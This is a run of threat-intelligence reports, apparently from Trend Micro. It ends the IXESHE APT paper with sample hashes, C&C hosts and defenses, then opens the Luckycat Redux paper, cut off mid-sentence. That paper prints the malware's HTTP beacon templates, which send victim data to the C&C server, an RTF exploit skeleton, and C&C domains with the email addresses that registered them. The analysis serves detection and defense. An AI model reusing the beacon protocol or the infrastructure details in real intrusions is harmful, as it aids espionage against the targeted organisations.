xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-22-cve-2011-0611-pdf-swf-marshall.html Campaign code: [Removed due to privacy concerns] PAGE 13 | IXESHE 28 April 2011 PDF name/Subject hook: [Unknown] MD5: 14bf72167b4e801da205ecf9c0c55f9b C&C: xx.xx.x33.2 Info: http://xml.ssdsandbox.net/view/14bf72167b4e 801da205ecf9c0c55f9b Campaign code: [LY0420] 1 June 2011 PDF name/Subject hook: [Unknown] MD5: 6ee4e08e6ab51208757fdc41d0e72846 C&C: xxxxxain.qpoe.com Info: http://www.threatexpert.com/report.aspx?md 5=6ee4e08e6ab51208757fdc41d0e72846 Campaign code: [LY]MAIL_20090923 9 June 2011 PDF name/Subject hook: [Unknown] MD5: 10f193f825ada183fcfd067434ca269e C&C: xxxxxfo.AtHerSite.com Info: http://www.threatexpert.com/report.aspx?md 5=10f193f825ada183fcfd067434ca269e Campaign code: [LY]MAIL_20091208 21 September 2011 PDF name/Subject hook: [Unknown] MD5: 32522cdc17a145486e26f35bdd524e7e C&C: xxx.xx0.139.67 Info: http://www.threatexpert.com/report.aspx?md 5=32522cdc17a145486e26f35bdd524e7e Campaign code: [LY0816] 12 October 2011 PDF name/Subject hook: [Unknown] MD5: 8718ab5c1683a69c4e6092fdcb32cfa2 C&C: xxx.xx0.63.1 Info: http://www.malware-control.com/statics-page s/8718ab5c1683a69c4e6092fdcb32cfa2.php Campaign code: [CZ0921] 19 October 2011 PDF name/Subject hook: [Unknown] MD5: 80dad66d6224d18babd9ada4a26aee75 C&C: xx.xxx.21.41 or king.pirat3.com Info: http://xml.ssdsandbox.net/view/80dad66d62 24d18babd9ada4a26aee75 Campaign code: [WZ1011] PAGE 14 | IXESHE 26 October 2011 PDF name/Subject hook: The Future Redefined 2011 AOEC CEO Summit MD5: 3d91d9df315ffeb9bb1c774452b3114b C&C: xxx.xxawan.com or xxx.xx4.230.120 Info: http://www.kahusecurity.com/2011/apecspearphish-2/ Campaign code: 19 3 November 2011 PDF name/Subject hook: [Unknown] MD5: E25DBA0556124D7874D8416DE291CFE2 C&C: xxxxxfo.sdti.tw or xxx.xx2.246.110 Info: http://www.threatexpert.com/report.aspx?md 5=e25dba0556124d7874d8416de291cfe2 Campaign code: [CR1031] 15 November 2011 PDF name/Subject hook: [Unknown] MD5: 829b78f1d1e74c2c5343a0aebb51f519 C&C: xxxxxaga.chickenkiller.com Info: http://www.threatexpert.com/report.aspx?md 5=829b78f1d1e74c2c5343a0aebb51f519 Campaign code: [TL1109] 22 November 2011 PDF name/Subject hook: [Unknown] MD5: c4a05230a898d91b30c88d52b3f069b3 C&C: xxx.xx6.54.150 or xxxxx.ItemDB.com Info: http://www.threatexpert.com/report.aspx?md 5=c4a05230a898d91b30c88d52b3f069b3 Campaign code: [WH1122] CONCLUSION DEFENDING AGAINST APTS The IXESHE campaign has been successfully executing targeted attacks since 2009. The attackers primarily use malicious .PDF files that exploit vulnerabilities in Adobe Reader, Acrobat, and Flash Player, including the use of two zero-day exploits one in 2009 and another in 2011. While the attackers primarily targeted East Asian governments in the past, they have also started targeting a telecommunications company and electronics manufacturers. They kept track of their targeted attacks by embedding a campaign tag in the malware that appears to describe when each attack was launched and, in some cases, the nature of its target. We found more than 40 of these campaign tags. Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures. As such, apart from standard and relevant attack prevention measures and mechanisms such as solid patch management; endpoint and network security; firewall use; and the like, enterprises should also focus on detecting and mitigating attacks. Moreover, data loss prevention (DLP) strategies that identify the data an organization is protecting and take into account the context of data use should be employed. The IXESHE attackers are notable for their use of compromised machines within a target s internal network as C&C servers. This helped disguise their activities. In addition, the attackers use of the proxy tool, HTran, also helped mask their true location. While their identities remain unknown, the attackers behind the IXESHE campaign demonstrated that they were both determined and capable. While the malware used in the attacks were not very complicated by nature, these proved very effective. This campaign remains an active threat. Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks utilize. Both external and local threat intelligence is crucial for developing the ability to detect attacks early. The following are the core components of this defense strategy: Local and External Threat Intelligence Enhanced visibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors that can indicate a targeted attack. Integrity checks: In order to maintain persistence, malware will make modifications to the file system and registry. Monitoring such changes can indicate the presence of malware. Empowering the human analyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network. This information is used in conjunction with custom alerts based on the local and external threat intelligence available. Technologies available today such as Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.11 Deep Discovery uniquely detects and identifies evasive threats in real time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks. 11 http://www.trendmicro.com/us/enterprise/security-risk-management/ deep-discovery/index.html PAGE 15 | IXESHE Mitigation and Cleanup Strategy Data-Centric Protection Strategy Once an attack is identified, the cleanup strategy should focus on the following objectives: The ultimate objective of targeted attacks is to acquire sensitive data. As such, DLP strategies that focus on identifying and protecting confidential information are critical. Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it. Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment. Determine the attack vector and cut off communications with the C&C server. Determine the scope of the compromise. Assess the damage by analyzing the data and forensic artifacts available on compromised machines. Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated. Educating Employees Against Social Engineering Security-related policies and procedures combined with education and training programs are essential components of defense. Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees. Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence. PAGE 16 | IXESHE TREND MICRO THREAT PROTECTION AGAINST IXESHE CAMPAIGN COMPONENTS The following table summarizes the Trend Micro solutions for the components of the IXESHE campaign. Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks. Attack Component Protection Technology Trend Micro Solution Predetermined C&C communication format: http://[C&C Server]/ [ACD] [EW]S[Some Numbers]. jsp?[Encrypted Base64 Blob] Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_PIDIEF, BKDR_PROXY, TROJ_ DROPR, and TROJ_DEMTRANC variants File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) CVE-2009-4324 CVE-2009-0927 CVE-2011-0609 CVE-2011-0611 CVE-2009-3129 Vulnerability Shielding/Virtual Patching Server (Deep Security) Endpoint (OfficeScan with Intrusion Defense Firewall Plug-In) For CVE-2009-4324: Rule #1004008 (Adobe Reader and Acrobat newplayer() JavaScript Method Code Execution) For CVE-2009-0927: Rule # 1003405 (Adobe Acrobat JavaScript getIcon Method Buffer Overflow) For CVE-2011-0609: Rule #1004615 (Adobe Flash Player XLS Remote Code Execution) For CVE-2011-0611: Rule # 1004647 (Restrict Microsoft Office File with Embedded SWF) For CVE-2009-3129: Rule #1003817 (Excel Featheader Record Memory Corruption Vulnerability) PAGE 17 | IXESHE Attack Component xxx.x.x87.206 xxx.xx2.36.5 xxx.xx6.129.228 xxx.xx0.139.67 xxx.xx.39.184 xx.xxx.12.18 xxx.xxrver.us xxx.xxt-alice.de xxxxxbaby.mooo.com xxxxxlic.yahoobigdeals.com xx.xx.x1.252 xxx.xx.228.58 xxx.xx.183.86 xxx.xx.128.71 xxx.xx.13.148 xxx.xx5.243.44 xxx.xx2.216.5 xxx.xx.151.190 xxx.xx.63.113 xxx.xx.58.110 xxx.xx.111.151 xxx.xx6.54.150 xxx.xx4.230.120 xxx.xx0.139.67 xxx.xx2.246.110 xx.xxx.223.3 xx.xx.x3.102 xx.xx.x9.165 xx.xx.x0.244 xx.xx.x33.2 xxxxxa.2waky.com xxx.xxawan.com xxxxxmic.dyndns-wiki.com xxxxxain.qpoe.com xxx.xxrver.us xxxxxfo.AtHerSite.com xxxxxem.passingg.as xxx.xxset.com xxxxx.dnset.com xxxx.xirat3.com xxxxxaga.chickenkiller.com xxxxx.otzo.com xxxxxck.dnsrd.com xxxxx.portrelay.com xxxxx.FindHere.org PAGE 18 | IXESHE Protection Technology Web, Domain, and IP Reputation Trend Micro Solution Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) May 2012 | APT Campaign Quick Profile: IXESHE Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim s network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage. IXESHE First Seen Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target s network. The IXESHE campaign has been actively staging targeted attacks since at least July of 2009. Victims and Targets APT campaigns target specific industries or communities of interest in specific regions. IXESHE has been found to target electronics manufacturers, a telecommunications company, and East Asian governments. Operations First-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611. These were used to drop malicious executable files that gave the attackers complete control of their targets systems. The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully infiltrated. Possible Indicators of Compromise Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. Enters networks via a specially crafted, targeted email with a malicious file attachment Uses document exploits (primarily PDF exploits) to drop malware onto target systems Uses malware detected as IXESHE by security companies Sends a GET request to the command-and-control (C&C) server with the format: http://[C&C Server]/[ACD] [EW]S[Some Numbers].jsp?[Encrypted Base64 Blob] * The campaign codes we have seen so far are detailed in the Trend Micro research paper, IXESHE: An APT Campaign. The characteristics highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012. May 2012 | APT Campaign Quick Profile: IXESHE Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim s network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage. IXESHE First Seen Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target s network. The IXESHE campaign has been actively staging targeted attacks since at least July of 2009. Victims and Targets APT campaigns target specific industries or communities of interest in specific regions. IXESHE has been found to target electronics manufacturers, a German telecommunications company, and East Asian governments. Operations First-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611. These were used to drop malicious executable files that gave the attackers complete control of their targets systems. The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully infiltrated. Possible Indicators of Compromise Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. Enters networks via a specially crafted, targeted email with a malicious file attachment Uses document exploits (primarily PDF exploits) to drop malware onto target systems Uses malware detected as IXESHE by security companies Sends a GET request to the command-and-control (C&C) server with the format: http://[C&C Server]/[ACD] [EW]S[Some Numbers].jsp?[Encrypted Base64 Blob] * The campaign codes we have seen so far are detailed in the Trend Micro research paper, IXESHE: An APT Campaign. The characteristics highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012. TREND MICRO TREND MICRO INC. Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloudbased security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Protection Network cloud computing security infrastructure, our products and services stop threats where they emerge from the Internet. They are supported by 1,000+ threat intelligence experts around the globe. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 +800.228.5651 Phone: 1 +408.257.1500 Fax: 1 +408.257.2003 www.trendmicro.com 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. PAGE 19 | IXESHE Trend Micro Research Paper 2012 LUCKYCAT REDUX Inside an APT Campaign with Multiple Targets in India and Japan By: Forward-Looking Threat Research Team CONTENTS Introduction..................................................................................... 1 Diversity of Targets................................................................. 1 Diversity of Malware.............................................................. 2 Diversity of Infrastructure.................................................... 2 Operations............................................................................... 2 Attribution............................................................................... 2 Luckycat........................................................................................... 3 Examples of Luckycat Attacks.............................................4 Example 1: Japan.............................................................4 Example 2: India..............................................................4 Example 3: Tibet.............................................................. 5 Vulnerabilities and Malware Samples....................................... 5 Campaign Codes............................................................................ 7 Command and Control..................................................................8 Operations....................................................................................... 9 Attribution.......................................................................................11 Campaign Connections................................................................12 ShadowNet..............................................................................12 Duojeen....................................................................................13 Sparksrv..................................................................................15 Comfoo.....................................................................................16 Conclusion......................................................................................19 Defending Against APTs..............................................................19 Local and External Threat Intelligence ...........................19 Mitigation and Cleanup Strategy......................................20 Educating Employees Against Social Engineering.......20 Data-Centric Protection Strategy.....................................20 Trend Micro Threat Protection Against Luckycat Campaign Components...............................................................21 INTRODUCTION The number of targeted attacks has dramatically increased. Unlike largely indiscriminate attacks that focus on stealing credit card and banking information associated with cybercrime, targeted attacks noticeably differ and are better characterized as cyber espionage. Highly targeted attacks are computer intrusions threat actors stage in order to aggressively pursue and compromise specific targets, often leveraging social engineering, in order to maintain persistent presence within the victim network so they can move laterally and extract sensitive information.1 In a typical targeted attack, a target receives a contextually relevant email that encourages a potential victim to click a link or open a file.2 The links and files the attackers send contain malicious code that exploits vulnerabilities in popular software. The exploits payload is a malware that is silently executed on the target computer. This exploitation allows the attackers to take control of and obtain data from the compromised computer. In other cases, the attackers send disguised executable files, usually compressed in archives that, if opened, also compromise the target s computer. The malware connects back to command-and-control (C&C) servers under the attackers control from which they can command the compromised computer to download additional malware and tools that allow them to move laterally throughout the target s network. These attacks are, however, not isolated smash-and-grab incidents but are part of consistent campaigns that aim to establish covert presence in a target s network so that information can be extracted as needed. Targeted attacks are rarely isolated events. In fact, they are constant. It is more useful to think of them as campaigns a series of failed and successful attempts to compromise a target s network over a certain period of time. The attackers, in fact, often keep track of the different attacks within a campaign in order to determine which individual attack compromised a specific victim network. As the attackers learn more about their targets from open source research relying on publicly available information, as well as previous attacks, the specificity of the attacks may sharply increase. http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_trends-in-targeted-attacks.pdf 2 Targeted attacks can sometimes be conducted through instant messages instead of emails. Cyber-espionage campaigns often focus on specific industries or communities of interest in addition to a geographic focus. Different positions of visibility often yield additional sets of targets pursued by the same threat actors. We have been tracking the campaign dubbed Luckycat and found that in addition to targeting Indian military research institutions, as previously revealed by Symantec, the same campaign targeted entities in Japan as well as the Tibetan community.3 The Luckycat campaign targeted the following industries and/or communities: Aerospace Shipping Energy Military research Engineering Tibetan activists The Luckycat campaign attacked a diverse set of targets using a variety of malware, some of which have been linked to other cyber-espionage campaigns. The attackers behind this campaign maintain a diverse set of C&C infrastructure and leverages anonymity tools to obfuscate their operations. We were able to track elements of this campaign to hackers based in China. Diversity of Targets The Luckycat campaign, which has been active since at least June 2011, has been linked to 90 attacks against targets in Japan and India as well as Tibetan activists. Each malware attack involves a unique campaign code that can be used to track which victims were compromised by which malware attack. This illustrates that the attackers are both very aggressive and continually target their intended victims. These are not smash-and-grab attacks but constitute a campaign comprising a series of ongoing attacks over time. In sum, the Luckycat campaign managed to compromise 233 computers.4 3 http://www.symantec.com/content/en/us/enterprise/media/security_ response/whitepapers/the_luckycat_hackers.pdf 4 This number represents the unique MAC addresses of the victims that were stored by the attackers on their C&C infrastructure. PAGE 1 | LUCKYCAT REDUX Diversity of Malware Operations We were able to identify five malware families either utilized by or hosted on the same dedicated server the Luckycat campaign uses. Some were used as secondstage malware that the attackers pushed to victims whose networks were compromised by first-stage malware. Second-stage malware typically provide additional functionality and are especially used if the first-stage malware prove very simplistic. In addition, we found that the attackers used multiple malware families that coincide with malware that have been used in other campaigns. This indicates a level of collaboration across campaigns. TROJ_WIMMIE, favored by the Luckycat attackers, bundles a significant amount of information on the victim and uploads it to a C&C server. One such file recovered from a C&C server is actually the result of a test run by the attackers. The information reveals that the attackers use proxy and anonymity tools to shield their identities as well as a variety of mailing programs to instigate targeted attacks. In addition, the language settings of the attackers computers indicate that they are Chinese speakers. This is consistent with the information Symantec obtained, which shows that the attackers logged in to their C&C server from IP addresses allocated to China. Diversity of Infrastructure The Luckycat campaign use free web-hosting services that provide a diversity of domain names as well as IP addresses. This distributes the campaign, making it more difficult to track. However, the attackers also made use of Virtual Private Servers (VPSs) that not only housed their primary malware TROJ_WIMMIE, but others as well.5 These servers may also act as anchors, as servers on free hosting services are shut down for malicious activity. As a result, the campaign stabilized its infrastructure over time, transferring victims, often through the use of secondstage malware, from free hosting servers to their stable core of VPSs. 5 VPSs are dedicated hosting services that can be purchased online. PAGE 2 | LUCKYCAT REDUX Attribution Using open source research, we were able to connect the email address used to register one of the Luckycat C&C servers to a hacker in the Chinese underground community. He uses the nickname, dang0102, and has published posts in the famous hacker forum, XFocus, as well as recruited others to join a research project on network attack and defense at the Information Security Institute of the Sichuan University. The hacker, also known scuhkr, has authored articles related to backdoors and shellcode in a hacking magazine. LUCKYCAT The malware used in the Luckycat campaign, detected by Trend Micro as TROJ_WIMMIE6 or VBS_WIMMIE,7 connects to a C&C server via HTTP over port 80. It is notable because it uses Windows Management Instrumentation (WMI)8 to establish persistence.9 VBS_WIMMIE registers a script that works as a backdoor to the WMI event handler and deletes files associated with it or TROJ_WIMMIE. As a result, the backdoor cannot be detected by antivirus software through simple file scanning. The compromised computer posts data to a PHP script that runs on the C&C server, usually count.php. POST/count/count.php?m=c&n=[HOSTNAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE]@HTTP/1.0 Accept: */* UA-CPU: x86 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: [HOSTNAME] Content-Length: 0 Connection: Keep-Alive Pragma: no-cache The initial communication results in the creation of a file on the C&C server that contains information on the compromised computer. Although the file is empty, the file name contains the hostname of the compromised computer, followed by its MAC address, along with the campaign code the attackers use to identify which malware attack caused the compromise: The attacker then creates a file with a name that ends in @.c, which contains a command. [HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_ CODE]@.c The compromised computer then downloads the file and executes the specified command, which may include any of the following: Get external IP address Download file Execute shell command Upload file The compromised computer then sends the output to the C&C server and deletes the command file: POST/count/count.php?m=w&n=[HOST_NAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE]@@.t HTTP/1.0 POST/count/count.php?m=d&n=[HOST_NAME]_ [MAC_ADDRESS]_[CAMPAIGN_CODE]@@.c HTTP/1.0 One of the common initial commands instructs the compromised computer to upload the results of information-gathering commands. This command causes the compromised computer to create a directory listing of the available drives, along with the output of the commands, ipconfig, tasklist, and systeminfo. The resulting files are compressed using the CAB compression format and uploaded to the C&C server. This provides the attackers a full set of information to evaluate the nature of the compromised computer. ~[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE] 6 http://about-threats.trendmicro.com/Malware. aspx?language=us&name=TROJ_WIMMIE.C 7 http://about-threats.trendmicro.com/malware. aspx?language=us&name=VBS_WIMMIE.C 8 The Luckycat malware may be notable but its technique is no longer new, as the WMI malware featured in the paper cited below also exhibited the same capability. 9 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp__understanding-wmi-malware.pdf PAGE 3 | LUCKYCAT REDUX Examples of Luckycat Attacks Example 1: Japan Example 2: India Figure 1: Decoy document opened after exploiting an Adobe Reader vulnerability A targeted email was sent to some organizations in Japan. One of the attacks occurred during the confusion after the Great East Japan Earthquake and the Fukushima Nuclear Power Plant accident. The attackers used the disaster to lure potential victims into opening a malicious .PDF attachment. The .PDF file exploited a vulnerability in Adobe Reader CVE-2010-2883, in order to drop TROJ_WIMMIE onto the target s system.10 This malware communicated with a Luckycat C&C server. The decoy document contains the radiation dose measurement results, which were published on the Tokyo Power Electric Company (TEPCO) website.11 10 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883 11 http://www.tepco.co.jp/nu/monitoring/11032805.pdf PAGE 4 | LUCKYCAT REDUX Figure 2: Redacted decoy document opened after exploiting a Microsoft Word vulnerability A malicious document containing information on India ballistic missile defense program was used to lure potential victims into opening it. This document contains malicious code that exploits a vulnerability in Microsoft Office CVE2010-3333, to drop TROJ_WIMMIE onto a compromised system so this would connect to a C&C server the Luckycat hackers operate.12 12 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333 Example 3: Tibet VULNERABILITIES AND MALWARE SAMPLES Most of the samples we have seen exploited CVE-20103333. Dubbed the Rich Text Format (RTF) Stack Buffer Overflow Vulnerability, this causes a buffer overflow in the Microsoft Word RTF parser when the pFragments shape property is given a malformed value. To verify the exploitation, one should look out for the following keywords: pFragments: Seen after the string, \sv: Exploit code is seen after this The typical structure of the malicious RTF document is: Figure 3: Decoy document opened after exploiting a Microsoft Office vulnerability Malicious emails and .DOC attachments that leverage Tibetan themes in order to trick recipients into opening them have been found. This particular sample exploits the same vulnerability in Microsoft Office CVE-2010-3333, to drop TROJ_WIMMIE onto the target s system so it would communicate back to a C&C server the Luckycat hackers operate. {\rtf1{\shp{\sp{\sn pFragments}{\sv exploit code }}}} The rest of the samples we found exploited the following vulnerabilities in Adobe Reader and Flash Player: CVE-2010-2883: Adobe Reader TTF SING table parsing vulnerability CVE-2010-3654: Adobe Flash Player AVM2 multi-name button class vulnerability13 CVE-2011-0611: Adobe Flash Player AVM1 shared object type vulnerability14 CVE-2011-2462: Adobe Reader U3D component vulnerability15 13 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3654 14 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611 15 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2462 PAGE 5 | LUCKYCAT REDUX CVE Identifier Campaign Code dab3f591b37f5147ae92570323b5c47d CVE-2010-3333 w1229 c023544af85edacc66cd577a0d665dec CVE-2010-3333 w1229 cff0964ed2df5659b0a563f32b7c3eca CVE-2010-3333 3deb2a5fcb6bf1f80a074fd351e6f620 CVE-2010-3333 2012 1aa1e795a5ba75f2a5862c6d01205b57 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 110824p 6a62d4532c7a0656381fee8fb51874d7 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 longjiao cb9ab22f3356a3b054a7e9282a69f71e CVE-2011-2462 1dafdc9e507771d0d8887348ce3f1c52 CVE-2010-3333 039a6e012f33495a1308b815ef098459 CVE-2010-3333 luck be0b2e7a53b1dcacb8c54c180dc4ca27 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 11727p 00f07b0e701dcfa49e1c907f9242d028 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 110705hktq 411ab5eb2ef3153b61a49964f9ab4e64 CVE-2011-2462 1229 dcac508495d9800e476aa0c8e11b748d CVE-2010-3333 2012 00e686e382806c33d9ae77256f33ed93 Not applicable Table 1: Luckycat malware samples sorted by exploit and campaign code PAGE 6 | LUCKYCAT REDUX CAMPAIGN CODES Each malware attack involves a unique campaign code that can be used to track which systems were compromised by which attack. The campaign codes often contain dates that indicate when each malware attack was launched. This demonstrates how actively and frequently the attackers launched attacks. The campaign codes also reveal the attackers intent, as some of these referenced the intended targets. The following lists the campaign codes we discovered: 110714jdap 64sc109pfye 110714tp 64sc239pf9010 110715x 720halheli 110718p 729ggggsenior 110816h 919ggggstp 0607e 1090silver89 110824p 0609af 110228cl 1108navyeast dang279wrdye 0613deliinfo 110311cl 1108vpsecretary god 0613f 110315cl 111031pp gop 0614senior 110315 1110mea ishan99dfp 0616itiT8 110321cl 1114round j1141ap99 0706gggg 110329 1122bol j4611dq9 0804ggggdatanet1 110504 1122gmail kondulgml27pfye 0805ggggetp 110603p89 1122other longjiao 0805ggggstp 110606rg789 11421is9 luck 0805ecil 110616np 1145j9yb 0805gggg 110705hktq 1147s9 nec3rd79dfp 0818ICG 110706gggg 1148dq8 nfounrsvan99uc 0823ggggARDE 110706hal 11614lmpn nne 0824ggg 110705hktq 11725imp ongs239pfye 0826ggggtnd 110708hktqw 11727p sai 1017navydiwali 110711gggg 1229 stmlsp211wd 1017ggg 110711hal 2012 w1229 1025gggCSC 110711xzg 214 wwwroot 1025gggSC 110713jp zz1227 ggggstpdomainserver PAGE 7 | LUCKYCAT REDUX COMMAND AND CONTROL The Luckycat campaign extensively use free hosting services. We recorded the domains the attackers used as well as the email addresses they utilized to register the domains, if available. While the domains, including their suffixes, were considerably diverse, all were available from three different free hosting services. As such, the attackers had nothing to lose but time in order to continue creating diverse domain names for C&C servers. Domain Email Address cattree.1x.biz lindagreen56@rediffmail.com charlesbrain.shop.co yamagami_2011@mail.goo. ne.jp footballworldcup.website.org ajayalpna@hotmail.com frankwhales.shop.co yamagami_2011@mail.goo. ne.jp hi21222325.x.gg hi2122325@hotmail.com kinkeechow.shop.co kinkee_chow@mail.goo.ne.jp kittyshop.kilu.org pbdelhioffice@gmail.com perfect.shop.co dsang72@yahoo.com pumasports.website.org ranjitrai123@hotmail.com tomsburs.shop.co yamagami_2011@mail.goo. ne.jp vpoasport.shopping2000.com beenznair@gmail.com goodwell.all.co.uk paltry.parrot@googlemail.com fireequipment.website.org shrivastava.agrim@gmail.com tennissport.website.org manindramohanshukla@ yahoo.com waterpool.website.org jaganacharya@hotmail.com tb123.xoomsite.com tbda123.gwchost.com toms.0fees.net tomygreen.0fees.net killmannets.0fees.net maritimemaster.kilu.org masterchoice.shop.co jeepvihecle.shop.co lucysmith.0fees.net Table 2: Free web-hosting service domains the attackers used for C&C servers PAGE 8 | LUCKYCAT REDUX The attackers also maintain servers that do not appear to be from free web-hosting service providers. In fact, these appear to use dedicated VPS services. Domain Email Address clbest.greenglassint.net 19013788@qq.com bailianlan.c.dwyu.com dayinok@qq.com duojee.info duojeewei@qq.com Table 3: C&C servers that the attackers hosted on VPSs We also found advertisements for VPS services using two of the C&C server IP addresses in Table 3. While the VPS services were advertised in Chinese forums, the servers were actually hosted in the United States. Figure 4: Sample ads for the VPS services the attackers use The diversity of C&C hosting services used provided the attackers a resilient infrastructure. If one server, for instance, was shut down for malicious activity, they can easily create more servers. As victims of interest are identified, they can also be easily moved from free hosting servers to C&C servers set up on more stable VPSs. The domain and geographic diversity of the IP addresses also helped mask the attackers locations. OPERATIONS The threat actors behind the Luckycat campaign tested one of their malware samples on a computer under their control. In the process, they uploaded down.cab, which contains a command that creates a directory listing of the available drives on a compromised system, along with the output of the commands, ipconfig, tasklist, and systeminfo. We were able to download this file from the C&C server. While it does not reveal the attackers identities, it does provide an inside view of their operations. The result of the systeminfo command indicates that the attackers tested the malware in a virtual environment. The environment was set up using a Chinese-language version of Windows XP. Figure 6: Sample ads for the pirated Windows XP version used While the rest of the information we gathered did not reveal significant clues due to the use of a VM, we found that the attackers left a shared drive D:\, which was indexed by the malware. The index was then uploaded to the C&C server. Figure 5: Sample system information the attackers obtained after testing on a virtual machine (VM) We found that the product ID of the Windows XP software used was posted online in the past. It was a pirated Windows XP version that was made available for purchase in China. Figure 7: Drive left available by the attackers that contains C&C scripts and victim information PAGE 9 | LUCKYCAT REDUX In one of the directories ccclllmmmm, we found that the attackers put a copy of the count.php C&C backend as well as a list of the victims and the contents of their computers. We were also able to find that the C&C server the attackers used was a victim s computer. Figure 9: Anonymity tools the attackers had on the shared D:\ drive The attackers also had mailing software such as FoxMail and Supermailer on the shared D:\ drive. While these tools are not malicious, the attackers used these to easily send out socially engineered emails. These also allowed them to keep track of their various identities and email accounts. One of the samples we obtained used the Chineselanguage version of FoxMail. Figure 8: Victim information on the attackers C&C server that is identical to the the information on the attackers shared D:\ drive To ensure operational security, the attackers installed Tor and Tunnelier. Some of the email samples with malware attachments, in fact, sent through Yahoo! Mail used Tor. The use of this anonymity tool allowed the attackers to obscure their IP addresses, making it increasingly difficult for researchers to pinpoint their locations. PAGE 10 | LUCKYCAT REDUX The attackers clearly have operational procedures in place to obscure their true locations with the aid of anonymity tools. They also have a virtualized environment set up to test and fine-tune their malware as well as the necessary tools to maintain their various identities and send out socially engineered emails with malicious attachments. ATTRIBUTION Additional clues concerning the attackers had to with the email address, 19013788@qq.com, which was used to register one of the C&C servers, clbest.greenglassint. net. This email address can be mapped to the QQ number, 19013788. QQ is popular instant-messaging (IM) software in China. This QQ number is linked to a hacker in the Chinese underground community who goes by the nickname, dang0102, and has published posts in the famous hacker forum, XFocus, in 2005. Figure 10: Sample post by dang0102 using the QQ number, 19013788 The same hacker also published a post on a student BBS of the Sichuan University using the nickname, scuhkr, in 2005. He wanted to recruit 2 4 students to a network attack and defense research project at the Information Security Institute of the Sichuan University then. Scuhkr also authored articles related to backdoors and shellcode in a hacking magazine that same 